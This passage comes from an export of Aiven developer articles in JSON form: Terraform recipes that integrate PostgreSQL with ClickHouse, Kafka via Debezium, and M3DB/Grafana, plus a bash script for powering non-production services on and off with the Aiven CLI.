service_name  = aiven_pg.postgres.service_name\n   database_name = \"sensor_dims\"\n}\n\n// ClickHouse service based in the same region\nresource \"aiven_clickhouse\" \"clickhouse\" {\n   project                 = var.project_name\n   service_name            = \"clickhouse-gcp-us\"\n   cloud_name              = \"google-us-east4\"\n   plan                    = \"startup-16\"\n   maintenance_window_dow  = \"monday\"\n   maintenance_window_time = \"10:00:00\"\n}\n\n// Sample ClickHouse database that can be used to write and process raw data\nresource \"aiven_clickhouse_database\" \"iot_measurements\" {\n   project      = var.project_name\n   service_name = aiven_clickhouse.clickhouse.service_name\n   name         = \"iot_measurements\"\n}\n\n// ClickHouse service integration for the PostgreSQL service as a source\nresource \"aiven_service_integration\" \"clickhouse_postgres_source\" {\n   project                  = var.project_name\n   integration_type         = \"clickhouse_postgresql\"\n   source_service_name      = aiven_pg.postgres.service_name\n   destination_service_name = aiven_clickhouse.clickhouse.service_name\n   clickhouse_postgresql_user_config {\n   databases {\n      database = aiven_pg_database.sensor_dims.database_name\n      schema = \"public\"\n   }\n   }\n}\n```\n\n## Execute the files \n\nRun the following command:\n\n```bash\nterraform init\n```\n  \nThe ``init`` command performs initialization operations to prepare the working directory for use with Terraform. For this recipe, ``init`` automatically finds, downloads, and installs the necessary Aiven Terraform Provider plugins.\n\nRun the following command:\n\n```bash\nterraform plan -var-file=var-values.tfvars\n```\n  \nThe ``plan`` command creates an execution plan and shows the resources to be created (or modified). This command doesn't actually create any resources but gives you a heads-up on what's going to happen next.\n\nIf the output of ``terraform plan`` looks as expected, run the following command:\n\n```bash\nterraform apply -var-file=var-values.tfvars\n```\n  \nThe ``terraform apply`` command creates (or modifies) your infrastructure resources.\n\n\n* ``aiven_clickhouse`` resource creates an Aiven for ClickHouse service with the parameters specified in the ``services.tf`` file (project name, cloud name, service plan and service name)\n* ``aiven_clickhouse_database`` resource creates a database that can be used to store high-throughput measurement data as well as create new tables and views to process this data.\n* ``aiven_pg`` resource creates a highly-available Aiven for PostgreSQL service.\n* ``aiven_pg_database`` resource creates the ``sensor_dims`` database.\n* ``aiven_service_integration`` resource creates the integration between the Aiven for PostgreSQL and Aiven for ClickHouse services.\n\nThis results in the creation of the ``service_postgres-gcp-us_sensor_dims_public`` database in Aiven for ClickHouse, allowing you to access the ``sensor_dims`` database for the ``postgres-gcp-us`` service.\n\n\n## Learn more \n\nWhen you use this recipe, parameters and configurations will vary from those used in this article. For Aiven for PostgreSQL and Aiven for ClickHouse advanced parameters, a related blog, and instructions on how to get started with Aiven Terraform Provider, see [Set up your first Aiven Terraform project](https://aiven.io/docs/tools/terraform/get-started.html).\n\n## More resources\n\n- [Aiven for ClickHouse® quickstart](https://aiven.io/docs/products/clickhouse/get-started)\n- [Aiven for PostgreSQL® quickstart](https://aiven.io/docs/products/postgresql/get-started)\n- [Integrate ClickHouse® with Metabase, an open source BI tool](https://aiven.io/developer/clickhouse-metabase)\n- [Use PostgreSQL® DOMAIN rules to validate columns of data](https://aiven.io/developer/use-postgresql-domain-rules-to-validate)\n- [Secure your database access with HashiCorp Vault](https://aiven.io/developer/secure-your-db-with-vault)\n","feature":{"_type":"featuredItem","active":false,"endDate":"2023-08-30T13:18:41.214Z"},"hierarchy":{"_ref":"e6555a63-f0c2-406b-896c-cbe290019c3c","_type":"reference"},"internalTags":[{"_key":"c48e45ce1be1","_ref":"3d8ecd72-b886-4aaa-b207-2fbafc931f22","_type":"tag"}],"publishedAt":"2023-08-23T07:48:51.992Z","seo":{"_type":"metaData","metaImage":{"_type":"mainImage","asset":{"_ref":"image-a255fe234d7a1a487b07f2a34886ac276f49d953-1567x844-png","_type":"reference"}}},"slug":{"_type":"slug","current":"/developer/postgresql-source-for-clickhouse"},"subtitle":"Deploy an Aiven for PostgreSQL® service and integrate it as a data source with Aiven for ClickHouse® using Terraform. A part of Aiven's Terraform Cookbook.","tags":[{"_key":"73d4327793be","_ref":"7585568a-42e1-4b7a-ba53-f416ed7c4ce2","_type":"tag"},{"_key":"71169b341aac","_ref":"94e23adc-203f-4482-b8df-63aeab555411","_type":"tag"},{"_key":"8d493965ccd0","_ref":"6496a8e4-6fbe-43d6-b945-f2505fd3b34a","_type":"tag"}],"title":"Aiven for PostgreSQL® as a source for Aiven for ClickHouse®"}
{"__i18n_lang":"en","_createdAt":"2023-08-30T09:15:40Z","_id":"0ed2bd1f-f1d7-4792-9e5a-cdf78924bd44","_rev":"Gc7Qq2PHZBylrD6rwQLDjb","_type":"devArticle","_updatedAt":"2024-08-05T12:04:31Z","body":"## Use your resources wisely \n\nIn their very nature, production services normally need to be available 24/7. But non-production services are often only needed during working hours.\n\nLet's assume you have six engineers that are all working on different branches of your codebase, a fairly standard n-tier code stack in front of a relational database, for instance [Aiven for PostgreSQL®](https://aiven.io/docs/products/postgresql/index.html) or [Aiven for MySQL](https://aiven.io/docs/products/mysql/index.html). So now we have six different developer databases that need to be managed, plus an integration environment, staging and UAT (user acceptance testing) services. \nOur engineering team prioritise a work-life balance, so they are pretty good at 9 to 5, Monday to Friday. It doesn't make sense to have the database services running after hours and on weekends.\n\nAiven managed databases can be powered off. Powered off services do not incur any billing. Let's assume the following pricing for Aiven for PostgreSQL as an example, based on a Business 64 service running in UAT to give a like for like environment with production (this pricing is historical - it's not meant to be accurate). \n\n| Assumption | Pricing |\n| ------- | ------- |\n| per month | $3200 |\n| per day without power down | $105.21 |\n| per day with power down (14hrs off) | $43.84 |\n| per month with power down (services running during business hours 10hrs per day, 21 days) | ~ $950 |\n\nGiven those pricing assumptions, we can save ourselves 70% per month on this service alone if we automate stopping and starting it. In a real scenario, the actual saving might be more or less, but it's still likely to be significant.\n\nLet's jump in and have a look at how this might work.\n\nLooking at the [documentation](https://docs.aiven.io/) I can see that Aiven provides a number of different [tools](https://aiven.io/docs/tools/index.html) for controlling the services. Of course you could assign a task to one of the team to open the console every day and stop the relevant services, then start their day tomorrow by restarting these services, but it would be more efficient to automate this. The [Aiven REST API](https://aiven.io/docs/tools/api/index.html) and the [Aiven CLI](https://aiven.io/docs/tools/cli.html) (command line interface) are both excellent tools for this task. \n\nIn the examples below, we're going to use the [Aiven CLI](https://aiven.io/docs/tools/cli) and the [jq JSON processor](https://stedolan.github.io/jq/). See the referenced pages for how to install them.\n\n## Authentication\n\nWe are going to need an authentication token. Read the documentation to see how to [create an authentication token](https://aiven.io/docs/platform/howto/create_authentication_token.html).\n\nBe sure you understand the [details of authentication tokens](https://aiven.io/docs/platform/concepts/authentication-tokens.html) in Aiven, specifically how the token is associated with the user account that is used to create the token. Authentication tokens have the same access level as the user who created them. For non-production projects, consider creating a user that only has [access](https://aiven.io/docs/platform/howto/manage-project) to those non-production projects. This way you can ensure the script cannot shut down production services by accident.\n\n::alert[This user would require at least Operator role in the project that the services are deployed to.]\n\n## A word of caution\n\nBefore you do anything, read the specifics for the Aiven service you're dealing with, because they behave differently in how their storage is managed, and whether data is lost when the service is powered off. Streaming services such as Aiven for Apache Kafka® will not preserve data when shut down. Some services, such as Aiven for OpenSearch®, will only preserve data since the last backup.\n\nHave a look at the backup frequency per service in the [Backups for Aiven](https://aiven.io/docs/platform/concepts/service_backups.html) documentation, check out the details in the [Service power cycle](https://aiven.io/docs/platform/concepts/service-power-cycle) documentation.\n\nFor services that should not be shut down, you can enable termination protection. See the flags for [avn service create](https://aiven.io/docs/tools/cli/service#avn-service-create) and [avn service update](https://aiven.io/docs/tools/cli/service#avn-service-update).\n\nIf you have [read replicas](https://aiven.io/docs/products/postgresql/howto/create-read-replica.html) running for an Aiven for PostgreSQL service, you will want to destroy them before attempting to shutdown the main service, as they won't be shutdown automatically (and you would get errors). Just remember to rebuild when you start these up again. \n\n\n## Using the Aiven CLI to power cycle a service\n\nOne of the tools that I find myself using pretty much every day is the Aiven CLI. \n\nFirst, ensure you have [authenticated your CLI](https://aiven.io/docs/tools/cli.html). \nThen, switch the default project to the one where your services are running, the services you wish to shut down that is. As `shutdown-demo` is the name for the project in Aiven where the services I am controlling are found, I type\n```\navn project switch shutdown-demo\n```\nwhich confirms with\n```\nINFO\tSet project 'shutdown-demo' as the default project\n```\n\nOf course, you would set your own default project in the above command.\n\nThen double check your work, list the services in the default project to see that they are the ones your are targeting. Use:\n\n```\navn service list\n```\nto get output of the form:\n```\nSERVICE_NAME        SERVICE_TYPE  STATE    CLOUD_NAME                   PLAN        CREATE_TIME           UPDATE_TIME           NOTIFICATIONS\n==================  ============  =======  ===========================  ==========  ====================  ====================  =============\ncassandra-14fc5dba  cassandra     RUNNING  google-australia-southeast1  startup-4   2022-05-18T06:56:47Z  2022-06-21T02:29:11Z\nos-157f6082         opensearch    RUNNING  google-australia-southeast1  business-4  2022-05-18T06:55:55Z  2022-06-21T02:24:00Z\ngrafana-3f786321    grafana       RUNNING  google-australia-southeast1  startup-1   2022-06-03T00:03:15Z  2022-06-21T02:21:28Z\nkafka-32e61bb7      kafka         RUNNING  google-australia-southeast1  business-4  2022-05-24T23:21:47Z  2022-06-21T02:23:20Z\nm3db-228ac07        m3db          RUNNING  google-australia-southeast1  startup-8   2022-06-02T23:47:56Z  2022-06-21T02:21:29Z\npg-25d65efa         pg            RUNNING  google-australia-southeast1  premium-4   2022-05-19T23:13:12Z  2022-06-21T02:22:37Z\nredis-2bb763ee      redis         RUNNING  google-australia-southeast1  business-4  2022-05-18T06:55:31Z  2022-06-21T02:23:13Z\n```\n\nWe can see that STATE here which tells me whether each service is currently running or not. \n\nSo, for the services I want to power cycle, I can then issue this command\n\n```\navn service update --power-off \u003cSERVICE_NAME\u003e\n```\n\n## An example shell script\n\nNow we know how to use power services on or off with the Aiven CLI, let's write a bash script that can be run to start and/or stop services as required. \n\n::alert[This example script will power cycle ALL services in a particular project, so make sure you have read [the word of caution](#a-word-of-caution) above.]{type=\"warning\" title=\"Warning\"}\n\nIn a script, it's better to use the JSON output from the `avn` command, which we can get with the `--json` flag, and then process using the [jq JSON processor](https://stedolan.github.io/jq/).\n\nWe can put this all together into a nice, simple to use (and perhaps [crontab](https://www.adminschoice.com/crontab-quick-reference)) script. But again, take care, you'll want something more sophisticated for use in real life, as it will stop or start all services in a project, whether they'll lose data or not!\n\n::alert[A fully productionised version of the script would probably at least take a list of service names or types, and might even refuse to stop particular types of service.]{type=\"success\" title=\"Tip\"}\n\n```bash\n#!/bin/bash\n#\n# Start or stop all services in a named project.\n#\n# Does NOT take any account of whether data will be lost by stopping a service.\n\n# exit on error of any command\nset -e\n\n# function to print usage and exit\nexit_on_error() {\n    echo \"$1\"\n    echo \"Usage : bash-aiven-controller -p \u003cproject\u003e -o \u003cstart|stop\u003e\"\n    exit 1\n}\n\n# function that starts an Aiven service\nstart_service() {\n    echo \"Starting $1\"\n    avn service update --project \"$project\" --power-on \"$1\"\n}\n\n# function that stops an Aiven service\nstop_service() {\n    echo \"Stopping $1\"\n    avn service update --project \"$project\" --power-off \"$1\"\n}\n\n# read commandline flags\n# we want the project (-p) and the operation (-o [start|stop])\nwhile getopts \":p:o:\" flag\ndo\n    case \"$flag\" in\n        p) project=${OPTARG};;\n        o) operation=${OPTARG};;\n        \\?) exit_on_error \"Unrecognised option -${OPTARG}\";;\n        :) exit_on_error \"Option -${OPTARG} needs an argument\";;\n    esac\ndone\n\n# test if the project flag exists\nif [ -z \"$project\" ]\nthen\n    exit_on_error \"No project name specified. Use '-p \u003cproject\u003e'\"\nfi\n\n# test if the operation is either start or stop\nif [ \"$operation\" == \"start\" ] || [ \"$operation\" == \"stop\" ];\nthen\n    echo \"Getting ready to $operation all services\"\nelse\n    exit_on_error \"Operation (-o $operation) is not recognised. Use '-o start' or '-o stop'\"\nfi\n\nservices=$(avn service list --project \"$project\" --json)\n\n# Loop over all the services in this project, doing the operation.\n# The `-raw-ouptut` switch to jq makes it write strings to stdout without extra quotes.\n# The `@base64` encodes the data for each service as base64 to \"hide\" the newlines in\n# the output.\nfor row in $(echo \"$services\" | jq --raw-output '.[] | @base64'); do\n\n    name=$(echo \"$row\" | base64 --decode  | jq -r '.service_name')\n    state=$(echo \"$row\" | base64 --decode | jq -r '.state')\n\n    if [ \"$operation\" == \"stop\" ]\n    then\n        if [ \"$state\" == \"RUNNING\" ]\n        then\n            stop_service \"$name\"\n        else\n            echo \"Not attempting to stop $name because it is currently $state\"\n        fi\n    else\n        if [ \"$state\" == \"POWEROFF\" ]\n        then\n            start_service \"$name\"\n        else\n            echo \"Not attempting to start $name because it is currently $state\"\n        fi\n    fi\ndone\n```\n\n\n## Things to remember\n\nIt is not immediately obvious that you can start and stop services when using a managed service provider like Aiven. However, you can take advantage of this to save yourself some spend on non-production resources.\nIt is also worth remembering that your engineers are human and humans forget things, so this kind of automation ensures that you get all the value possible from your Aiven investment.\n\nOur key things to remember when doing this are :\n* Not all services are created equal, some will destroy your data. \n* Allow your engineers the ability to restart when they need to.\n* Organising services using projects will make this easier.\n\nUsing a shell script, the Aiven CLI, and a small cron job on a server somewhere, you will be able to stretch your non-production resources and make sure that the TCO (total cost of ownership) of your Aiven investment is even better than what the team first calculated. \n","feature":{"_type":"featuredItem","active":false,"endDate":"2023-09-06T09:15:26.882Z"},"hierarchy":{"_ref":"e6555a63-f0c2-406b-896c-cbe290019c3c","_type":"reference"},"internalTags":[{"_key":"b517b357a759","_ref":"3d8ecd72-b886-4aaa-b207-2fbafc931f22","_type":"tag"}],"publishedAt":"2023-08-30T09:55:50.027Z","seo":{"_type":"metaData","metaImage":{"_type":"mainImage","alt":"The words \"Save resources: only run services when you need them\", against a blue background, with the Aiven cuddly crab logo at the bottom right","asset":{"_ref":"image-54288ce1dba155259eef2ef2ca4038e64b1c401f-1567x844-png","_type":"reference"}}},"slug":{"_type":"slug","current":"/developer/controlling-aiven-services-with-the-cli"},"subtitle":"Running non-production services when they’re not needed can waste money. Learn how to start and stop them as needed, using the Aiven CLI.","tags":[{"_key":"6802310112dc","_ref":"21dab0f5-92ff-47e2-8b55-f60a736d22b9","_type":"tag"},{"_key":"dc56121a201b","_ref":"6e718308-0932-4545-b8c2-c9df3013ec4e","_type":"tag"}],"title":"Controlling non-production Aiven Services with the CLI"}
{"__i18n_lang":"en","_createdAt":"2023-08-22T08:05:04Z","_id":"373999f2-cb1a-48f5-8bba-b8a6295ba885","_rev":"VeNKqGNmt13PzvGhqsSeIQ","_type":"devArticle","_updatedAt":"2024-01-29T15:45:36Z","body":"The [Aiven Terraform Provider](https://registry.terraform.io/providers/aiven/aiven/latest/docs) is a great choice for provisioning an [Aiven for Apache Kafka®](https://aiven.io/kafka) cluster with Kafka Connect enabled and the [Debezium source connector for PostgreSQL®](https://aiven.io/docs/products/kafka/kafka-connect/howto/debezium-source-connector-pg.html) configured.\n\nLet's check out the following diagram to understand the setup.\n\n:::mermaid\n\n   flowchart LR\n      id1[(PostgreSQL service on GCP)]\n      subgraph Kafka Connect\n      Debezium-Source-Connector-PG\n      end\n      subgraph Apache Kafka on Azure\n      Topic\n      end\n      id1 ---\u003e|wal2json plugin| Debezium-Source-Connector-PG ---\u003e|publishes changes| Topic\n\n:::\n\n## Describe the setup\n\nThis terraform recipe will provision one [Aiven for PostgreSQL®](https://aiven.io/postgresql) database service, one Aiven for Apache Kafka service, and a separate Aiven for Apache Kafka Connect service with a Debezium source connector for PostgreSQL enabled and configured to connect to the PostgreSQL database and capture any changes in tables. The Aiven for Apache Kafka service is deployed in the Azure cloud, whereas the PostgreSQL database, like the Aiven for Apache Kafka Connector service, is deployed in the Google Cloud.\n\nAiven makes it very easy to configure services in different clouds that integrate seamlessly. As soon as any of the monitored tables is inserted or updated with new data, the Debezium connector will capture the data change and convert table data into a JSON payload and produce messages to the relevant Kafka topic. Some of these services are created on one cloud provider and some on another cloud provider, to demonstrate how easy it is with Aiven to integrate services across multiple cloud vendors.\n\n::alert[Aiven provides the option to run Kafka Connect on the same nodes as your Kafka cluster, sharing the resources. This is a low-cost way to get started with Kafka Connect. A standalone Aiven for Apache Kafka® Connect allows you to scale independently, offers more CPU time and memory for the Kafka Connect service and reduces load on nodes, making the cluster more stable.]{title=\"Warning\"}\n\nBe sure to check out the [getting started guide](https://aiven.io/docs/tools/terraform/get-started) to learn about the common files required to execute the following recipe.\n\nFor example, you'll need to declare the variables for ``project`` and ``api_token``.\n\n## Common files \n\nNavigate to a new folder and add the following files.\n\nAdd the following to a new ``provider.tf`` file:\n\n```toml\nterraform {\n  required_providers {\n    aiven = {\n      source  = \"aiven/aiven\"\n      version = \"\u003e=4.0.0, \u003c 5.0.0\"\n    }\n  }\n}\n\nprovider \"aiven\" {\n  api_token = var.aiven_api_token\n}\n```\n\nYou can also set the environment variable ``TF_VAR_aiven_api_token`` for the ``api_token`` property. With this, you don't need to pass the ``-var-file`` flag when executing Terraform commands.\n\nTo avoid including sensitive information in source control, the variables are defined here in the ``variables.tf`` file. You can then use a ``*.tfvars`` file with the actual values so that Terraform receives the values during runtime, and exclude it.\n\nThe ``variables.tf`` file defines the API token, the project name to use, and the prefix for the service name:\n\n```toml\nvariable \"aiven_api_token\" {\ndescription = \"Aiven console API token\"\ntype        = string\n}\n\nvariable \"project_name\" {\ndescription = \"Aiven console project name\"\ntype        = string\n}\n```\n\nThe ``var-values.tfvars`` file holds the actual values and is passed to Terraform using the ``-var-file=`` flag.\n\n``var-values.tfvars`` file:\n\n```toml\naiven_api_token     = \"\u003cYOUR-AIVEN-AUTHENTICATION-TOKEN-GOES-HERE\u003e\"\nproject_name        = \"\u003cYOUR-AIVEN-CONSOLE-PROJECT-NAME-GOES-HERE\u003e\"\n```\n\n## Services.tf file\n\nThe ``services.tf`` file for the provisioning of these three services, service integration, and related resource is this:\n\n```toml\nresource \"aiven_pg\" \"demo-pg\" {\n  project      = var.project_name\n  service_name = \"demo-postgres\"\n  cloud_name   = \"google-europe-north1\"\n  plan         = \"business-4\"\n}\n\nresource \"aiven_kafka\" \"demo-kafka\" {\n  project                 = var.project_name\n  cloud_name              = \"google-europe-north1\"\n  plan                    = \"business-4\"\n  service_name            = \"demo-kafka\"\n  maintenance_window_dow  = \"saturday\"\n  maintenance_window_time = \"10:00:00\"\n  kafka_user_config {\n    kafka_rest      = true\n    kafka_connect   = false\n    schema_registry = true\n    kafka_version   = \"3.4\"\n\n    kafka {\n      auto_create_topics_enable  = true\n      num_partitions             = 3\n      default_replication_factor = 2\n      min_insync_replicas        = 2\n    }\n\n    kafka_authentication_methods {\n      certificate = true\n    }\n\n  }\n}\n\nresource \"aiven_kafka_connect\" \"demo-kafka-connect\" {\n  project                 = var.project_name\n  cloud_name              = \"google-europe-north1\"\n  plan                    = \"business-4\"\n  service_name            = \"demo-kafka-connect\"\n  maintenance_window_dow  = \"monday\"\n  maintenance_window_time = \"10:00:00\"\n\n  kafka_connect_user_config {\n    kafka_connect {\n      consumer_isolation_level = \"read_committed\"\n    }\n\n    public_access {\n      kafka_connect = false\n    }\n  }\n}\n\nresource \"aiven_service_integration\" \"i1\" {\n  project                  = var.project_name\n  integration_type         = \"kafka_connect\"\n  source_service_name      = aiven_kafka.demo-kafka.service_name\n  destination_service_name = aiven_kafka_connect.demo-kafka-connect.service_name\n\n  kafka_connect_user_config {\n    kafka_connect {\n      group_id             = \"connect\"\n      status_storage_topic = \"__connect_status\"\n      offset_storage_topic = \"__connect_offsets\"\n    }\n  }\n}\n\nresource \"aiven_kafka_connector\" \"kafka-pg-source\" {\n  project        = var.project_name\n  service_name   = aiven_kafka_connect.demo-kafka-connect.service_name\n  connector_name = \"kafka-pg-source\"\n\n  config = {\n    \"name\"                        = \"kafka-pg-source\"\n    \"connector.class\"             = \"io.debezium.connector.postgresql.PostgresConnector\"\n    \"snapshot.mode\"               = \"initial\"\n    \"database.hostname\"           = sensitive(aiven_pg.demo-pg.service_host)\n    \"database.port\"               = sensitive(aiven_pg.demo-pg.service_port)\n    \"database.password\"           = sensitive(aiven_pg.demo-pg.service_password)\n    \"database.user\"               = sensitive(aiven_pg.demo-pg.service_username)\n    \"database.dbname\"             = \"defaultdb\"\n    \"database.server.name\"        = \"replicator\"\n    \"database.ssl.mode\"           = \"require\"\n    \"include.schema.changes\"      = true\n    \"include.query\"               = true\n    \"table.include.list\"          = \"public.tab1\"\n    \"plugin.name\"                 = \"pgoutput\"\n    \"publication.autocreate.mode\" = \"filtered\"\n    \"decimal.handling.mode\"       = \"double\"\n    \"_aiven.restart.on.failure\"   = \"true\"\n    \"heartbeat.interval.ms\"       = 30000\n    \"heartbeat.action.query\"      = \"INSERT INTO heartbeat (status) VALUES (1)\"\n  }\n  depends_on = [aiven_service_integration.i1]\n}\n```\n\n\n## Execute the files \n\nThe ``init`` command performs several different initialization steps in order to prepare the current working directory for use with Terraform. In our case, this command automatically finds, downloads, and installs the necessary Aiven Terraform provider plugins.\n    \n```shell\nterraform init\n```\n\nThe ``plan`` command creates an execution plan and shows you the resources that will be created (or modified) for you. This command does not actually create any resource; this is more like a preview.\n\n```bash\nterraform plan -var-file=var-values.tfvars\n```\n\nIf you're satisfied with the output of ``terraform plan``, go ahead and run the ``terraform apply`` command which actually does the task or creating (or modifying) your infrastructure resources. \n\n```bash\nterraform apply -var-file=var-values.tfvars\n```\n\nLet's go over a few of these configurations and understand their functions:\n\n- The ``auto_create_topics_enable = true`` property allows the Debezium connector to send messages to a non-existing topic.\n- The ``kafka_connect = false`` property is used because we want to create a separate Aiven for Apache Kafka Connect service.\n- The resource ``aiven_service_integration.i1`` configures the integration between the Aiven for Apache Kafka service and the Aiven for Apache Kafka Connect service. This integration uses two internal topics for storing status and offset.\n- ``group_id`` under ``kafka_connect_user_config`` is a unique ID that identifies the Kafka Connect cluster.\n- ``status_storage_topic`` and ``offset_storage_topic`` identify the name of the internal Kafka topics that store the connector status and the connector offsets respectively.\n- `snapshot.mode = \"initial\"` means the connector will, upon first connection, snapshot the entire structure and data of the linked database. After this snapshot, it will then capture and stream row-level changes. This initial capture ensures no data is lost in transition, but it might put some load on the database when first activated.\n- `plugin.name = \"pgoutput\"` specifies that the replication output plugin used by Debezium for PostgreSQL is “pgoutput.” It’s the standard logical decoding output plugin in recent PostgreSQL versions and is supported natively without needing additional extensions.\n- `publication.autocreate.mode = \"filtered\"` means that the connector will either use an existing logical replication publication with the specified name or create one if it doesn’t exist. The “filtered” mode ensures that only the changes to the tables specified in the configuration (like \"table.include.list\") are included in the publication.\n- The Debezium source connector for PostgreSQL listens for all data changes on one or more tables, including schema changes. In our case, the table that is monitored for any data change is \"tab1\" in ``defaultdb`` database under ``public`` schema. The plugin used to capture changes is ``wal2json`` that converts WAL events (WAL stands for Write Ahead Logging) into JSON payload that is sent to the Kafka topic via the Kafka connect service. The Kafka topic that the Debezium connector creates has the name ``replicator.public.tab1``, where \"replicator\" is the logical database used by Debezium connector to monitor for data changes and \"public\" and \"tab1\" are the name of the PostgreSQL schema and table name respectively. \n- The ``depends_on`` property establishes a dependency between the services creation in order to avoid failures.\n\n## More resources\n\nKeep in mind that some parameters and configurations will vary for your case. A reference to some of the advanced Apache Kafka configurations and other related resources:\n\n- [List of advanced Apache Kafka configurations](https://aiven.io/docs/products/kafka/kafka-connect/reference/advanced-params.html)\n- [Create a Debezium source connector](https://aiven.io/docs/products/kafka/kafka-connect/howto/debezium-source-connector-pg.html)\n- [List of available Apache Kafka® Connect connectors](https://aiven.io/docs/products/kafka/kafka-connect/concepts/list-of-connector-plugins.html)","feature":{"_type":"featuredItem","active":false,"endDate":"2023-08-29T08:05:01.401Z"},"hierarchy":{"_ref":"185b7847-7030-4530-ad9c-89a0772c8be9","_type":"reference"},"internalTags":[{"_key":"da08866f08b2","_ref":"3d8ecd72-b886-4aaa-b207-2fbafc931f22","_type":"tag"}],"publishedAt":"2023-08-21T08:28:37.110Z","seo":{"_type":"metaData","metaImage":{"_type":"mainImage","asset":{"_ref":"image-91e0c19ac4bc1d6c43e69f625cc17d1b5242f954-1567x844-png","_type":"reference"}}},"slug":{"_type":"slug","current":"/developer/debezium-source-postgresql-kafka-across-clouds"},"subtitle":"Use Debezium as a source connector to integrate PostgreSQL® and Apache Kafka® and use Terraform to deploy. A part of Aiven's Terraform Cookbook.","tags":[{"_key":"22dc7d464d47","_ref":"3c547914-626c-4ae5-8d0c-a0400bcc5e7f","_type":"tag"},{"_key":"698a207441ef","_ref":"6496a8e4-6fbe-43d6-b945-f2505fd3b34a","_type":"tag"},{"_key":"c23020a86c2b","_ref":"7585568a-42e1-4b7a-ba53-f416ed7c4ce2","_type":"tag"}],"title":"Debezium source connector - PostgreSQL® to Apache Kafka®"}
{"__i18n_lang":"en","_createdAt":"2023-08-21T13:36:40Z","_id":"a1068636-7bcf-4cf3-96d1-62d4db7b91f7","_rev":"aqN8LslQ3cZYmtCXIu28pZ","_type":"devArticle","_updatedAt":"2024-02-08T17:27:35Z","body":"Whether monitoring your data infrastructure or analyzing resource utilization based on metrics, [Aiven for Grafana®](https://aiven.io/grafana) provides powerful visualizations and easy integrations for your Aiven services.\nA time-series database like M3DB can be used as backend to store PostgreSQL® database metrics to be queried by the Grafana dashboard.\nThis example shows how to use the [Aiven Terraform Provider](https://registry.terraform.io/providers/aiven/aiven/latest/docs) to create an [Aiven for PosgreSQL®](https://aiven.io/postgresql) service, an [Aiven for M3DB](https://aiven.io/m3) service, an [Aiven for Grafana®](https://aiven.io/grafana) service, and the related service integrations programmatically. \n\n:::mermaid\n   flowchart LR\n      PostgreSQL[Aiven for PostgreSQL]\n      M3DB[Aiven for M3DB]\n      Grafana[Aiven for Grafana]\n      PostgreSQL ==\u003e|si-metrics| M3DB\n      Grafana ==\u003e|si-dashboard| M3DB\n:::\n\nIn the above diagram, the PostgreSQL service metrics are pushed to M3DB which is then queried by a prebuilt Grafana dashboard. All three services are connected via Aiven Service Integrations, which lets your Aiven services talk to one another without you having to write complex integration codes. ``si-...`` in the above diagram stands for \"Service Integration\".\n\nBe sure to check out the [getting started guide](https://aiven.io/docs/tools/terraform/get-started) to learn about the common files required to execute the following recipe. For example, you'll need to declare the variables for ``project_name``, ``api_token``, and ``service_name_prefix``.\n\n## Common files\n\nNavigate to a new folder and add the following files.\n\nAdd the following to a new ``provider.tf`` file:\n\n```toml\nterraform {\n  required_providers {\n    aiven = {\n      source  = \"aiven/aiven\"\n      version = \"\u003e=4.0.0, \u003c 5.0.0\"\n    }\n  }\n}\n\nprovider \"aiven\" {\n  api_token = var.aiven_api_token\n}\n```\n\nYou can also set the environment variable ``TF_VAR_aiven_api_token`` for the ``api_token`` property. With this, you don't need to pass the ``-var-file`` flag when executing Terraform commands.\n \nTo avoid including sensitive information in source control, the variables are defined here in the ``variables.tf`` file. You can then use a ``*.tfvars`` file with the actual values so that Terraform receives the values during runtime, and exclude it.\n\nThe ``variables.tf`` file defines the API token, the project name to use, and the prefix for the service name:\n\n```toml\nvariable \"aiven_api_token\" {\n  description = \"Aiven console API token\"\n  type        = string\n}\n\nvariable \"project_name\" {\n  description = \"Aiven console project name\"\n  type        = string\n}\n\nvariable \"service_name_prefix\" {\n  description = \"A string to prepend to the service name\"\n  type        = string\n}\n```\n   \nThe ``var-values.tfvars`` file holds the actual values and is passed to Terraform using the ``-var-file=`` flag.\n\n``var-values.tfvars`` file:\n\n```toml\naiven_api_token     = \"\u003cYOUR-AIVEN-AUTHENTICATION-TOKEN-GOES-HERE\u003e\"\nproject_name        = \"\u003cYOUR-AIVEN-CONSOLE-PROJECT-NAME-GOES-HERE\u003e\"\nservice_name_prefix = \"\u003cYOUR-CHOICE-OF-A-SERVICE-NAME-PREFIX\u003e\"\n```\n\n## Services.tf file\n\n```toml\n# PostgreSQL Service\n\nresource \"aiven_pg\" \"demo-pg\" {\n  project                 = var.project_name\n  cloud_name              = \"google-northamerica-northeast1\"\n  plan                    = \"startup-8\"\n  service_name            = join(\"-\", [var.service_name_prefix, \"postgres\"])\n  termination_protection  = false\n  maintenance_window_dow  = \"sunday\"\n  maintenance_window_time = \"10:00:00\"\n}\n\n# M3DB Service\n\nresource \"aiven_m3db\" \"demo-m3db\" {\n  project                 = var.project_name\n  cloud_name              = \"google-northamerica-northeast1\"\n  plan                    = \"startup-8\"\n  service_name            = join(\"-\", [var.service_name_prefix, \"m3db\"])\n  maintenance_window_dow  = \"sunday\"\n  maintenance_window_time = \"10:00:00\"\n\n  m3db_user_config {\n    m3db_version = 1.5\n\n    namespaces {\n      name = \"my_ns1\"\n      type = \"unaggregated\"\n    }\n  }\n}\n\n# Grafana Service\n\nresource \"aiven_grafana\" \"demo-grafana\" {\n  project                 = var.project_name\n  cloud_name              = \"google-northamerica-northeast1\"\n  plan                    = \"startup-8\"\n  service_name            = join(\"-\", [var.service_name_prefix, \"grafana\"])\n  maintenance_window_dow  = \"sunday\"\n  maintenance_window_time = \"10:00:00\"\n\n  grafana_user_config {\n    alerting_enabled = true\n\n    public_access {\n      grafana = true\n    }\n  }\n}\n\n# PostgreSQL-M3DB Metrics Service Integration\n\nresource \"aiven_service_integration\" \"postgresql_to_m3db\" {\n  project                  = var.project_name\n  integration_type         = \"metrics\"\n  source_service_name      = aiven_pg.demo-pg.service_name\n  destination_service_name = aiven_m3db.demo-m3db.service_name\n}\n\n# M3DB-Grafana Dashboard Service Integration\n\nresource \"aiven_service_integration\" \"m3db-to-grafana\" {\n  project                  = var.project_name\n  integration_type         = \"dashboard\"\n  source_service_name      = aiven_grafana.demo-grafana.service_name\n  destination_service_name = aiven_m3db.demo-m3db.service_name\n}\n```\n  \n## Execute the files\n\nThe ``init`` command performs several different initialization steps in order to prepare the current working directory for use with Terraform. In our case, this command automatically finds, downloads, and installs the necessary Aiven Terraform provider plugins.\n\n```shell\nterraform init\n```\n\nThe ``plan`` command creates an execution plan and shows you the resources that will be created (or modified) for you. This command does not actually create any resource; this is more like a preview.\n\n```bash\nterraform plan -var-file=var-values.tfvars\n```\n\nIf 